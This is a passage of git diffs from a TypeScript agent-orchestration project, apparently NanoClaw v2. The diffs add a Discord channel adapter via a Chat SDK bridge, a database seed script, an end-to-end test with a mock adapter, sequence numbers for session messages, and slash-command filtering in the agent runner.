"^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-is": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.1.tgz", + "integrity": "sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-stringify-position": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", + "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-5.1.0.tgz", + "integrity": "sha512-m+vIdyeCOpdr/QeQCu2EzxX/ohgS8KbnPDgFni4dQsfSCtpz8UqDyY5GjRru8PDKuYn7Fq19j1CQ+nJSsGKOzg==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0", + "unist-util-visit-parents": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit-parents": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-6.0.2.tgz", + "integrity": "sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/uri-js": { "version": "4.4.1", "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", @@ -3157,6 +4525,34 @@ "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", "license": "MIT" }, + "node_modules/vfile": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.3.tgz", + "integrity": "sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-message": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-4.0.3.tgz", + "integrity": "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-stringify-position": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/vite": { "version": "7.3.2", "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.2.tgz", @@ -3357,6 +4753,27 @@ "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", "license": "ISC" }, + "node_modules/ws": { + "version": "8.20.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.20.0.tgz", + "integrity": "sha512-sAt8BhgNbzCtgGbt2OxmpuryO63ZoDk/sqaB/znQm94T4fCEsy/yV+7CdC1kJhOU9lboAEU7R3kquuycDoibVA==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, "node_modules/yocto-queue": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", @@ -3368,6 +4785,16 @@ "funding": { "url": "https://github.com/sponsors/sindresorhus" } + }, + "node_modules/zwitch": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.4.tgz", + "integrity": "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } } } } diff --git a/package.json b/package.json index be913a9..91bbfbb 100644 --- a/package.json +++ b/package.json @@ -21,8 +21,11 @@ "test:watch": "vitest" }, "dependencies": { + "@chat-adapter/discord": "^4.24.0", + "@chat-adapter/state-memory": "^4.24.0", "@onecli-sh/sdk": "^0.2.0", "better-sqlite3": "11.10.0", + "chat": "^4.24.0", "cron-parser": "5.5.0" }, "devDependencies": { diff --git a/scripts/seed-discord.ts b/scripts/seed-discord.ts new file mode 100644 index 0000000..410570b --- /dev/null +++ b/scripts/seed-discord.ts @@ -0,0 +1,78 @@ +/** + * Seed the v2 central DB with a Discord agent group + messaging group. + * + * Usage: npx tsx scripts/seed-discord.ts + */ +import path from 'path'; + +import { DATA_DIR } from '../src/config.js'; +import { initDb } from '../src/db/connection.js'; +import { runMigrations } from '../src/db/migrations/index.js'; +import { createAgentGroup, getAgentGroup } from '../src/db/agent-groups.js'; +import { + createMessagingGroup, + createMessagingGroupAgent, + getMessagingGroup, +} from '../src/db/messaging-groups.js'; + +const db = initDb(path.join(DATA_DIR, 'v2.db')); +runMigrations(db); + +const AGENT_GROUP_ID = 'ag-main'; +const MESSAGING_GROUP_ID = 'mg-discord'; +const CHANNEL_ID = 'discord:1470188214710046894:1491569326447132673'; + +// Agent group +if (!getAgentGroup(AGENT_GROUP_ID)) { + createAgentGroup({ + id: AGENT_GROUP_ID, + name: 'Main', + folder: 'main', + is_admin: 1, + agent_provider: 'claude', + container_config: null, + created_at: new Date().toISOString(), + }); + console.log('Created agent group:', AGENT_GROUP_ID); +} else { + console.log('Agent group already exists:', AGENT_GROUP_ID); +} + +// Messaging group +if (!getMessagingGroup(MESSAGING_GROUP_ID)) { + createMessagingGroup({ + id: MESSAGING_GROUP_ID, + channel_type: 'discord', + platform_id: CHANNEL_ID, + name: 'Discord Test', + is_group: 1, + admin_user_id: null, + created_at: new Date().toISOString(), + }); + console.log('Created messaging group:', MESSAGING_GROUP_ID); +} else { + console.log('Messaging group already exists:', MESSAGING_GROUP_ID); +} + +// Link +try { + createMessagingGroupAgent({ + id: 'mga-discord', + messaging_group_id: MESSAGING_GROUP_ID, + agent_group_id: AGENT_GROUP_ID, + trigger_rules: null, + response_scope: 'all', + session_mode: 'shared', + priority: 0, + created_at: new Date().toISOString(), + }); + console.log('Created messaging_group_agent link'); +} catch (err: any) { + if (err.message?.includes('UNIQUE')) { + console.log('Messaging group agent link already exists'); + } else { + throw err; + } +} + +console.log('Done! Run: npm run build && node dist/index-v2.js'); diff --git a/scripts/test-v2-channel-e2e.ts b/scripts/test-v2-channel-e2e.ts new file mode 100644 index 0000000..15f84e3 --- /dev/null +++ b/scripts/test-v2-channel-e2e.ts @@ -0,0 +1,257 @@ +/** + * End-to-end test of v2 channel adapter pipeline: + * + * Mock adapter → onInbound → router → session DB → Docker container → + * agent-runner → Claude → messages_out → delivery → mock adapter.deliver() + * + * Usage: npx tsx scripts/test-v2-channel-e2e.ts + */ +import Database from 'better-sqlite3'; +import fs from 'fs'; +import path from 'path'; + +const TEST_DIR = '/tmp/nanoclaw-v2-channel-e2e'; +if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); +fs.mkdirSync(TEST_DIR, { recursive: true }); + +// --- Step 1: Init central DB --- +console.log('\n=== Step 1: Init central DB ==='); + +import { initDb } from '../src/db/connection.js'; +import { runMigrations } from '../src/db/migrations/index.js'; +import { createAgentGroup } from '../src/db/agent-groups.js'; +import { createMessagingGroup, createMessagingGroupAgent } from '../src/db/messaging-groups.js'; + +const centralDb = initDb(path.join(TEST_DIR, 'v2.db')); +runMigrations(centralDb); + +// Create groups dir for agent folder mount +const groupsDir = path.resolve(process.cwd(), 'groups'); +const testGroupDir = path.join(groupsDir, 'test-channel-e2e'); +fs.mkdirSync(testGroupDir, { recursive: true }); +fs.writeFileSync(path.join(testGroupDir, 'CLAUDE.md'), '# Test Agent\nYou are a test agent. Be brief.\n'); + +createAgentGroup({ + id: 'ag-chan', + name: 'Channel E2E Agent', + folder: 'test-channel-e2e', + is_admin: 1, // admin so OneCLI uses default agent for auth + agent_provider: 'claude', + container_config: null, + created_at: new Date().toISOString(), +}); + +createMessagingGroup({ + id: 'mg-chan', + channel_type: 'mock', + platform_id: 'mock-channel-1', + name: 'Mock Channel', + is_group: 0, + admin_user_id: null, + created_at: new Date().toISOString(), +}); + +createMessagingGroupAgent({ + id: 'mga-chan', + messaging_group_id: 'mg-chan', + agent_group_id: 'ag-chan', + trigger_rules: null, + response_scope: 'all', + session_mode: 'shared', + priority: 0, + created_at: new Date().toISOString(), +}); + +console.log('✓ Central DB initialized'); + +// --- Step 2: Set up mock channel adapter + delivery --- +console.log('\n=== Step 2: Set up mock channel adapter & delivery ==='); + +import { routeInbound } from '../src/router-v2.js'; +import { setDeliveryAdapter, startActiveDeliveryPoll, stopDeliveryPolls } from '../src/delivery.js'; +import { getChannelAdapter, registerChannelAdapter, initChannelAdapters } from '../src/channels/channel-registry.js'; +import { findSession } from '../src/db/sessions.js'; +import { sessionDbPath } from '../src/session-manager.js'; +import type { ChannelAdapter, ChannelSetup, OutboundMessage } from '../src/channels/adapter.js'; + +// Track delivered messages +const deliveredMessages: Array<{ platformId: string; threadId: string | null; message: OutboundMessage }> = []; +let lastDeliveryTime = 0; +const startTime = Date.now(); + +// Create mock adapter +const mockAdapter: ChannelAdapter = { + name: 'mock', + channelType: 'mock', + + async setup(config: ChannelSetup) { + console.log(` ✓ Mock adapter setup with ${config.conversations.length} conversations`); + }, + + async deliver(platformId, threadId, message) { + deliveredMessages.push({ platformId, threadId, message }); + lastDeliveryTime = Date.now(); + const elapsed = Math.floor((Date.now() - startTime) / 1000); + const content = message.content as Record; + const text = ((content.text as string) || '').slice(0, 120); + console.log(` ✓ [${elapsed}s] Delivered #${deliveredMessages.length}: ${text}...`); + }, + + async setTyping() {}, + async teardown() {}, + isConnected() { return true; }, +}; + +// Register mock adapter +registerChannelAdapter('mock', { factory: () => mockAdapter }); + +// Init channel adapters — this calls setup() with conversation configs from central DB +await initChannelAdapters((adapter) => ({ + conversations: [{ platformId: 'mock-channel-1', agentGroupId: 'ag-chan', requiresTrigger: false, sessionMode: 'shared' }], + onInbound(platformId, threadId, message) { + routeInbound({ + channelType: adapter.channelType, + platformId, + threadId, + message: { + id: message.id, + kind: message.kind, + content: JSON.stringify(message.content), + timestamp: message.timestamp, + }, + }).catch((err) => console.error('Route error:', err)); + }, + onMetadata() {}, +})); + +// Set up delivery adapter bridge +setDeliveryAdapter({ + async deliver(channelType, platformId, threadId, kind, content) { + const adapter = getChannelAdapter(channelType); + if (!adapter) return; + await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content) }); + }, +}); + +// Start delivery polling +startActiveDeliveryPoll(); +console.log('✓ Mock adapter & delivery configured'); + +// --- Step 3: Simulate inbound message through adapter --- +console.log('\n=== Step 3: Simulate inbound message ==='); + +// This is what a real adapter would do when receiving a platform message +const adapterSetup = (mockAdapter as { _setup?: ChannelSetup })._setup; + +// Call routeInbound directly (simulating onInbound callback) +await routeInbound({ + channelType: 'mock', + platformId: 'mock-channel-1', + threadId: null, + message: { + id: 'msg-chan-1', + kind: 'chat', + content: JSON.stringify({ + sender: 'Gavriel', + text: 'Call the send_message tool 3 times: text="Update 1", text="Update 2", text="Update 3". Make each call separately. After all 3, say "Done".', + }), + timestamp: new Date().toISOString(), + }, +}); + +const session = findSession('mg-chan', null); +if (!session) { + console.log('✗ No session created!'); + cleanup(); + process.exit(1); +} +console.log(`✓ Session: ${session.id}`); +console.log(`✓ Container status: ${session.container_status}`); + +import { execSync } from 'child_process'; +const checkContainerLogs = () => { + try { + const containers = execSync('docker ps -a --filter name=nanoclaw-v2-test-channel --format "{{.Names}}"').toString().trim(); + for (const name of containers.split('\n').filter(Boolean)) { + console.log(`\nContainer logs (${name}):`); + console.log(execSync(`docker logs ${name} 2>&1`).toString()); + } + } catch { /* ignore */ } +}; + +const sessDbPath = sessionDbPath('ag-chan', session.id); +console.log(`✓ Session DB: ${sessDbPath}`); + +// --- Step 4: Wait for delivery through mock adapter --- +console.log('\n=== Step 4: Waiting for delivery through mock adapter... ==='); +const TIMEOUT_MS = 300_000; + +// Wait for deliveries — resolve when no new ones for 30s after first delivery +await new Promise((resolve) => { + const poll = () => { + if (lastDeliveryTime > 0 && Date.now() - lastDeliveryTime > 30_000) { + resolve(); + return; + } + if (Date.now() - startTime > TIMEOUT_MS) { + console.log(`\n✗ Timed out after ${TIMEOUT_MS / 1000}s`); + // Check session DB directly + try { + const db = new Database(sessDbPath, { readonly: true }); + const out = db.prepare('SELECT * FROM messages_out').all(); + console.log(` messages_out rows: ${out.length}`); + if (out.length > 0) console.log(' (messages exist but delivery failed)'); + db.close(); + } catch { /* ignore */ } + checkContainerLogs(); + cleanup(); + process.exit(1); + } + const elapsed = Math.floor((Date.now() - startTime) / 1000); + if (elapsed > 0 && elapsed % 10 === 0) { + process.stdout.write(` ${elapsed}s...`); + } + setTimeout(poll, 1000); + }; + poll(); +}); + +// --- Step 5: Print results --- +console.log('\n\n=== Results ==='); + +console.log('\nSession DB:'); +try { + const db = new Database(sessDbPath, { readonly: true }); + const inRows = db.prepare('SELECT * FROM messages_in').all() as Array>; + const outRows = db.prepare('SELECT * FROM messages_out').all() as Array>; + db.close(); + + console.log(` messages_in: ${inRows.length} row(s)`); + for (const r of inRows) { + console.log(` [${r.id}] status=${r.status} kind=${r.kind}`); + } + console.log(` messages_out: ${outRows.length} row(s)`); + for (const r of outRows) { + const content = JSON.parse(r.content as string); + console.log(` [${r.id}] kind=${r.kind} delivered=${r.delivered}`); + console.log(` → ${content.text}`); + } +} catch (err) { + console.log(` (could not read session DB: ${err})`); +} + +console.log('\nDelivered through mock adapter:'); +for (const d of deliveredMessages) { + const content = d.message.content as Record; + console.log(` → [${d.platformId}] ${content.text}`); +} + +console.log('\n✓ Full channel adapter pipeline verified!'); + +cleanup(); +process.exit(0); + +function cleanup() { + stopDeliveryPolls(); + fs.rmSync(testGroupDir, { recursive: true, force: true }); +} diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts new file mode 100644 index 0000000..50b6f27 --- /dev/null +++ b/src/channels/chat-sdk-bridge.ts @@ -0,0 +1,189 @@ +/** + * Chat SDK bridge — wraps a Chat SDK adapter + Chat instance + * to conform to the NanoClaw ChannelAdapter interface. + * + * Used by Discord, Slack, and other Chat SDK-supported platforms. + */ +import { Chat, type Adapter, type ConcurrencyStrategy, type Message as ChatMessage } from 'chat'; +import { createMemoryState } from '@chat-adapter/state-memory'; + +import { log } from '../log.js'; +import type { ChannelAdapter, ChannelSetup, ConversationConfig, InboundMessage } from './adapter.js'; + +/** Adapter with optional gateway support (e.g., Discord). */ +interface GatewayAdapter extends Adapter { + startGatewayListener?( + options: { waitUntil?: (task: Promise) => void }, + durationMs?: number, + abortSignal?: AbortSignal, + ): Promise; +} + +export interface ChatSdkBridgeConfig { + adapter: GatewayAdapter; + concurrency?: ConcurrencyStrategy; +} + +export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter { + const { adapter } = config; + let chat: Chat; + let state: ReturnType; + let setupConfig: ChannelSetup; + let conversations: Map; + let gatewayAbort: AbortController | null = null; + + function buildConversationMap(configs: ConversationConfig[]): Map { + const map = new Map(); + for (const conv of configs) { + map.set(conv.platformId, conv); + } + return map; + } + + function messageToInbound(message: ChatMessage): InboundMessage { + return { + id: message.id, + kind: 'chat-sdk', + content: message.toJSON(), + timestamp: message.metadata.dateSent.toISOString(), + }; + } + + return { + name: adapter.name, + channelType: adapter.name, + + async setup(hostConfig: ChannelSetup) { + setupConfig = hostConfig; + conversations = buildConversationMap(hostConfig.conversations); + + state = createMemoryState(); + + chat = new Chat({ + adapters: { [adapter.name]: adapter }, + userName: adapter.userName || 'NanoClaw', + concurrency: config.concurrency ?? 'concurrent', + state, + logger: 'silent', + }); + + // Subscribed threads — forward all messages + chat.onSubscribedMessage(async (thread, message) => { + const channelId = adapter.channelIdFromThreadId(thread.id); + setupConfig.onInbound(channelId, thread.id, messageToInbound(message)); + }); + + // @mention in unsubscribed thread — forward + subscribe + chat.onNewMention(async (thread, message) => { + const channelId = adapter.channelIdFromThreadId(thread.id); + setupConfig.onInbound(channelId, thread.id, messageToInbound(message)); + await thread.subscribe(); + }); + + // DMs — always forward + subscribe + chat.onDirectMessage(async (thread, message) => { + const channelId = adapter.channelIdFromThreadId(thread.id); + setupConfig.onInbound(channelId, null, messageToInbound(message)); + await thread.subscribe(); + }); + + await chat.initialize(); + + // Subscribe registered conversations (after initialize connects state) + for (const conv of hostConfig.conversations) { + if (conv.agentGroupId) { + const threadId = adapter.encodeThreadId({ guildId: '', channelId: conv.platformId } as never); + await state.subscribe(threadId); + } + } + + // Start Gateway listener for adapters that support it (e.g., Discord) + if (adapter.startGatewayListener) { + gatewayAbort = new AbortController(); + const startGateway = () => { + if (gatewayAbort?.signal.aborted) return; + // Capture the long-running listener promise via waitUntil + let listenerPromise: Promise | undefined; + adapter + .startGatewayListener!( + { waitUntil: (p: Promise) => { listenerPromise = p; } }, + 24 * 60 * 60 * 1000, + gatewayAbort!.signal, + ) + .then(() => { + // startGatewayListener resolves immediately with a Response; + // the actual work is in the listenerPromise passed to waitUntil + if (listenerPromise) { + listenerPromise + .then(() => { + if (!gatewayAbort?.signal.aborted) { + log.info('Gateway listener expired, restarting', { adapter: adapter.name }); + startGateway(); + } + }) + .catch((err) => { + if (!gatewayAbort?.signal.aborted) { + log.error('Gateway listener error, restarting in 5s', { adapter: adapter.name, err }); + setTimeout(startGateway, 5000); + } + }); + } + }); + }; + startGateway(); + log.info('Gateway listener started', { adapter: adapter.name }); + } + + log.info('Chat SDK bridge initialized', { adapter: adapter.name }); + }, + + async deliver(platformId: string, threadId: string | null, message) { + const tid = threadId ?? adapter.encodeThreadId({ guildId: '', channelId: platformId } as never); + const content = message.content as Record; + + if (content.operation === 'edit' && content.messageId) { + await adapter.editMessage(tid, content.messageId as string, { + markdown: (content.text as string) || (content.markdown as string) || '', + }); + return; + } + + if (content.operation === 'reaction' && content.messageId && content.emoji) { + await adapter.addReaction(tid, content.messageId as string, content.emoji as string); + return; + } + + // Normal message + const text = (content.markdown as string) || (content.text as string); + if (text) { + await adapter.postMessage(tid, { markdown: text }); + } + }, + + async setTyping(platformId: string, threadId: string | null) { + const tid = threadId ?? adapter.encodeThreadId({ guildId: '', channelId: platformId } as never); + await adapter.startTyping(tid); + }, + + async teardown() { + gatewayAbort?.abort(); + await chat.shutdown(); + log.info('Chat SDK bridge shut down', { adapter: adapter.name }); + }, + + isConnected() { + return true; + }, + + updateConversations(configs: ConversationConfig[]) { + conversations = buildConversationMap(configs); + // Subscribe new conversations + for (const conv of configs) { + if (conv.agentGroupId) { + const threadId = adapter.encodeThreadId({ guildId: '', channelId: conv.platformId } as never); + state.subscribe(threadId).catch(() => {}); + } + } + }, + }; +} diff --git a/src/channels/discord-v2.ts b/src/channels/discord-v2.ts new file mode 100644 index 0000000..5eb32ed --- /dev/null +++ b/src/channels/discord-v2.ts @@ -0,0 +1,22 @@ +/** + * Discord channel adapter (v2) — uses Chat SDK bridge. + * Self-registers on import. + */ +import { createDiscordAdapter } from '@chat-adapter/discord'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('discord', { + factory: () => { + const env = readEnvFile(['DISCORD_BOT_TOKEN', 'DISCORD_PUBLIC_KEY', 'DISCORD_APPLICATION_ID']); + if (!env.DISCORD_BOT_TOKEN) return null; + const discordAdapter = createDiscordAdapter({ + botToken: env.DISCORD_BOT_TOKEN, + publicKey: env.DISCORD_PUBLIC_KEY, + applicationId: env.DISCORD_APPLICATION_ID, + }); + return createChatSdkBridge({ adapter: discordAdapter, concurrency: 'concurrent' }); + }, +}); diff --git a/src/container-runner-v2.ts b/src/container-runner-v2.ts index dac9c4c..c1b0aac 100644 --- a/src/container-runner-v2.ts +++ b/src/container-runner-v2.ts @@ -185,15 +185,8 @@ function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { const agentRunnerSrc = path.join(projectRoot, 'container', 'agent-runner', 'src'); const groupRunnerDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, 'agent-runner-src'); if (fs.existsSync(agentRunnerSrc)) { - const srcIndex = path.join(agentRunnerSrc, 'index-v2.ts'); - const cachedIndex = path.join(groupRunnerDir, 'index-v2.ts'); - const needsCopy = - !fs.existsSync(groupRunnerDir) || - !fs.existsSync(cachedIndex) || - fs.statSync(srcIndex).mtimeMs > fs.statSync(cachedIndex).mtimeMs; - if (needsCopy) { - fs.cpSync(agentRunnerSrc, groupRunnerDir, { recursive: true }); - } + // Always copy — source files may have changed beyond just the index + fs.cpSync(agentRunnerSrc, groupRunnerDir, { recursive: true }); } mounts.push({ hostPath: groupRunnerDir, containerPath: '/app/src', readonly: false }); diff --git a/src/db/schema.ts b/src/db/schema.ts index 2d50d18..bf8ff19 100644 --- a/src/db/schema.ts +++ b/src/db/schema.ts @@ -74,6 +74,7 @@ CREATE TABLE pending_questions ( export const SESSION_SCHEMA = ` CREATE TABLE messages_in ( id TEXT PRIMARY KEY, + seq INTEGER UNIQUE, kind TEXT NOT NULL, timestamp TEXT NOT NULL, status TEXT DEFAULT 'pending', @@ -89,6 +90,7 @@ CREATE TABLE messages_in ( CREATE TABLE messages_out ( id TEXT PRIMARY KEY, + seq INTEGER UNIQUE, in_reply_to TEXT, timestamp TEXT NOT NULL, delivered INTEGER DEFAULT 0, diff --git a/src/index-v2.ts b/src/index-v2.ts index 396acd8..e4d6ec4 100644 --- a/src/index-v2.ts +++ b/src/index-v2.ts @@ -17,7 +17,7 @@ import { routeInbound } from './router-v2.js'; import { log } from './log.js'; // Channel imports — each triggers self-registration -// import './channels/discord-v2.js'; +import './channels/discord-v2.js'; import type { ChannelAdapter, ChannelSetup, ConversationConfig } from './channels/adapter.js'; import { initChannelAdapters, teardownChannelAdapters, getChannelAdapter } from './channels/channel-registry.js'; diff --git a/src/session-manager.ts b/src/session-manager.ts index 4048cfb..4498198 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -108,11 +108,23 @@ export function writeSessionMessage( db.pragma('journal_mode = DELETE'); try { + const nextSeq = ( + db + .prepare( + `SELECT COALESCE(MAX(seq), 0) + 1 AS next FROM ( + SELECT seq FROM messages_in WHERE seq IS NOT NULL + UNION ALL + SELECT seq FROM messages_out WHERE seq IS NOT NULL + )`, + ) + .get() as { next: number } + ).next; db.prepare( - `INSERT INTO messages_in (id, kind, timestamp, status, platform_id, channel_type, thread_id, content, process_after, recurrence) - VALUES (@id, @kind, @timestamp, 'pending', @platformId, @channelType, @threadId, @content, @processAfter, @recurrence)`, + `INSERT INTO messages_in (id, seq, kind, timestamp, status, platform_id, channel_type, thread_id, content, process_after, recurrence) + VALUES (@id, @seq, @kind, @timestamp, 'pending', @platformId, @channelType, @threadId, @content, @processAfter, @recurrence)`, ).run({ id: message.id, + seq: nextSeq, kind: message.kind, timestamp: message.timestamp, platformId: message.platformId ?? null, From c348fabf22edd459554247d309b6b4d8e74ea04b Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 02:59:33 +0300 Subject: [PATCH 018/295] v2 phase 5: scheduling fixes, media handling, command processing - Host sweep: fix DELETE journal mode, busy_timeout, seq in recurrence INSERT - Outbound files: delivery reads from outbox dir, passes buffers to adapter, cleans up after delivery. Chat SDK bridge sends files via postMessage. - Inbound attachments: formatter includes attachment info in prompts - Commands: categorize /commands as admin, filtered, or passthrough. Admin commands check sender against NANOCLAW_ADMIN_USER_ID. Filtered commands silently dropped. Passthrough sent raw to agent. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/formatter.ts | 64 ++++++++++++- container/agent-runner/src/poll-loop.ts | 117 ++++++++++++++++++++++-- src/channels/adapter.ts | 7 ++ src/channels/chat-sdk-bridge.ts | 64 +++++++------ src/delivery.ts | 31 ++++++- src/host-sweep.ts | 22 ++++- src/index-v2.ts | 4 +- 7 files changed, 266 insertions(+), 43 deletions(-) diff --git a/container/agent-runner/src/formatter.ts b/container/agent-runner/src/formatter.ts index ce48030..7324f1b 100644 --- a/container/agent-runner/src/formatter.ts +++ b/container/agent-runner/src/formatter.ts @@ -1,5 +1,51 @@ import type { MessageInRow } from './db/messages-in.js'; +/** + * Command categories for messages starting with '/'. + * - admin: requires NANOCLAW_ADMIN_USER_ID check + * - filtered: silently drop (mark completed without processing) + * - passthrough: pass raw to the agent (no XML wrapping) + * - none: not a command — format normally + */ +export type CommandCategory = 'admin' | 'filtered' | 'passthrough' | 'none'; + +const ADMIN_COMMANDS = new Set(['/remote-control', '/clear', '/compact']); +const FILTERED_COMMANDS = new Set(['/help', '/login', '/logout', '/doctor', '/config']); + +export interface CommandInfo { + category: CommandCategory; + command: string; // the command name (e.g., '/clear') + text: string; // full original text + senderId: string | null; +} + +/** + * Categorize a message as a command or not. + * Only applies to chat/chat-sdk messages. + */ +export function categorizeMessage(msg: MessageInRow): CommandInfo { + const content = parseContent(msg.content); + const text = (content.text || '').trim(); + const senderId = content.senderId || content.author?.userId || null; + + if (!text.startsWith('/')) { + return { category: 'none', command: '', text, senderId }; + } + + // Extract the command name (e.g., '/clear' from '/clear some args') + const command = text.split(/\s/)[0].toLowerCase(); + + if (ADMIN_COMMANDS.has(command)) { + return { category: 'admin', command, text, senderId }; + } + + if (FILTERED_COMMANDS.has(command)) { + return { category: 'filtered', command, text, senderId }; + } + + return { category: 'passthrough', command, text, senderId }; +} + /** * Routing context extracted from messages_in rows. * Copied to messages_out by default so responses go back to the sender. @@ -68,7 +114,8 @@ function formatChatMessages(messages: MessageInRow[]): string { const time = formatTime(msg.timestamp); const text = content.text || ''; const idAttr = msg.seq != null ? ` id="${msg.seq}"` : ''; - lines.push(`${escapeXml(text)}`); + const attachmentsSuffix = formatAttachments(content.attachments); + lines.push(`${escapeXml(text)}${attachmentsSuffix}`); } lines.push(''); return lines.join('\n'); @@ -80,7 +127,8 @@ function formatSingleChat(msg: MessageInRow): string { const time = formatTime(msg.timestamp); const text = content.text || ''; const idAttr = msg.seq != null ? ` id="${msg.seq}"` : ''; - return `${escapeXml(text)}`; + const attachmentsSuffix = formatAttachments(content.attachments); + return `${escapeXml(text)}${attachmentsSuffix}`; } function formatTaskMessage(msg: MessageInRow): string { @@ -105,6 +153,18 @@ function formatSystemMessage(msg: MessageInRow): string { return `[SYSTEM RESPONSE]\n\nAction: ${content.action || 'unknown'}\nStatus: ${content.status || 'unknown'}\nResult: ${JSON.stringify(content.result || null)}`; } +// eslint-disable-next-line @typescript-eslint/no-explicit-any +function formatAttachments(attachments: any[] | undefined): string { + if (!Array.isArray(attachments) || attachments.length === 0) return ''; + const parts = attachments.map((a) => { + const name = a.name || a.filename || 'attachment'; + const type = a.type || 'file'; + const url = a.url || ''; + return url ? `[${type}: ${escapeXml(name)} (${escapeXml(url)})]` : `[${type}: ${escapeXml(name)}]`; + }); + return '\n' + parts.join('\n'); +} + // eslint-disable-next-line @typescript-eslint/no-explicit-any function parseContent(json: string): any { try { diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 8ae1238..aca3766 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -1,6 +1,6 @@ -import { getPendingMessages, markProcessing, markCompleted, touchProcessing } from './db/messages-in.js'; +import { getPendingMessages, markProcessing, markCompleted, touchProcessing, type MessageInRow } from './db/messages-in.js'; import { writeMessageOut } from './db/messages-out.js'; -import { formatMessages, extractRouting, type RoutingContext } from './formatter.js'; +import { formatMessages, extractRouting, categorizeMessage, type RoutingContext } from './formatter.js'; import type { AgentProvider, AgentQuery, McpServerConfig, ProviderEvent } from './providers/types.js'; const POLL_INTERVAL_MS = 1000; @@ -50,9 +50,69 @@ export async function runPollLoop(config: PollLoopConfig): Promise { markProcessing(ids); const routing = extractRouting(messages); - const prompt = formatMessages(messages); - log(`Processing ${messages.length} message(s), kinds: ${[...new Set(messages.map((m) => m.kind))].join(',')}`); + // Handle commands: categorize chat messages + const adminUserId = config.env.NANOCLAW_ADMIN_USER_ID; + const normalMessages = []; + const commandIds: string[] = []; + + for (const msg of messages) { + if (msg.kind !== 'chat' && msg.kind !== 'chat-sdk') { + normalMessages.push(msg); + continue; + } + + const cmdInfo = categorizeMessage(msg); + + if (cmdInfo.category === 'filtered') { + // Silently drop — mark completed, don't process + log(`Filtered 